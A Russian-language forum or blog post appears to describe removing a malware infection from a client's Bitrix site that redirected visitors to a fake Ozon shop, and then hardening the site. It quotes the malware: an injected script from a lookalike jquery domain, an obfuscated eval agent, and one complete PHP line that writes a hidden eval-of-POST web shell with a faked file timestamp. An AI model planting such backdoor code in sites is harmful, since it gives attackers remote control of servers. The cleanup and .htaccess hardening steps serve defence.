Столкнулся с такой проблемой - вирус на сайте клиента.
У сайта клиента была такая проблема как "Редирект" на поддельный сайт озон. Перерыв пол сайта, выяснилось что вирус занес вредоносный код в такие файлы как:
- bitrix/js/main/core/core.js - скриптик "s=document.createElement(script)" ... удаляем его.
- bitrix/modules/main/include/prolog.php - Тоже в самом низу "<sc ript src='https://code.jquery-uii.***/jquery-***'></sc ript>" , удаляем.
Ура... мы победили, но не тут то было, через примерно неделю вредоносный код появляется вновь. Роем дальше...
Немного покопавшись по папкам и форумам, находим такую информацию, что вирус создает файлы, с виду нужные, но оказывается что их изначально у не зараженных сайтов нет:
- /bitrix/components/bitrix/main.file.input/main.php - удаляем.
- /bitrix/components/bitrix/main.file.input/set_list.php - тоже удаляем, но его может и не быть.
Чистим весь кеш и наблюдаем за результатом.
Так же покопавшись по форумам, есть еще вирусы более подлые.
- заменяют index.php в корне сайта,
- удаляют файл /bitrix/.settings.php,
- создают скрипты Агенты с вредоносным кодом, создаются подобные агенты:
- $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%....
- $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/composite_seminarians.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<?php V47dc049a84b(@$_POST[\'c3a1e58\']); function V47dc049a84b($I018d087c){ @eval($I018d087c); } ?> '); touch($fName, filemtime(dirname($fName).'/'.$files[2]));
- создают файл /bitrix/tools/putin_***lo.php с кодом для удаленного доступа
- удаляют данные из таблиц базы данных b_iblock, b_iblock_element, b_iblock_element_property
Для предотвращения заражения дальше, стоит выполнить немного действий.
- Перевести работу сайта на актуальную версию php 7.4 (если это еще не сделано)
- Обновить Битрикс до актуальной версии (Не всегда это помогает)
- Если на сайте есть модуль "Проактивная защита" /bitrix/admin/security_panel.php - выполнить настройки по рекомендациям модуля
- Проверить сайт инструментом Битрикс "Сканер безопасности" /bitrix/admin/security_scanner.php
- Закрыть доступ к файлам на уровне сервера, временно (например в .htaccess)
- /bitrix/tools/upload.php
- /bitrix/tools/mail_entry.php
- /bitrix/modules/main/include/virtual_file_system.php
- /bitrix/components/bitrix/sender.mail.editor/ajax.php
- /bitrix/tools/vote/uf.php
- /bitrix/tools/html_editor_action.php
- /bitrix/admin/site_checker.php
Пример как можно ограничить доступы:
/home/bitrix/www/bitrix/admin/.htaccess
Добавляем в файле правило. Если файла нет - создаем.
<Files ~ "^(site_checker)\.php$>deny from all</Files>
/home/bitrix/www/bitrix/tools/.htaccess
Добавляем в файле правило. Если файла нет - создаем.
<Files ~ "^(html_editor_action|mail_entry|upload)\.php$> deny from all</Files>
/home/bitrix/www/bitrix/modules/main/include/.htaccess
Добавляем в файле правило. Если файла нет - создаем.
<Files ~ "^(virtual_file_system)\.php$> deny from all</Files>
/home/bitrix/www/bitrix/components/bitrix/sender.mail.editor/.htaccess
Добавляем в файле правило. Если файла нет - создаем.
<Files ~ "^(ajax)\.php$> deny from all</Files>
/bitrix/tools/vote/.htaccess
<Files ~ "^(uf)\.php$> deny from all</Files>
В старых версиях битрикс уязвимым местом оказался модуль vote , это модуль опросник. Для того что бы обезопасить себя, в файле:
/bitrix/tools/vote/uf.php над вызовом модуля вписываем:
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
header("Status: 404 Not Found");
die();
}
Тоже самое и в файле /bitrix/tools/html_editor_action.php
На данную минуту все. Если что, пишите...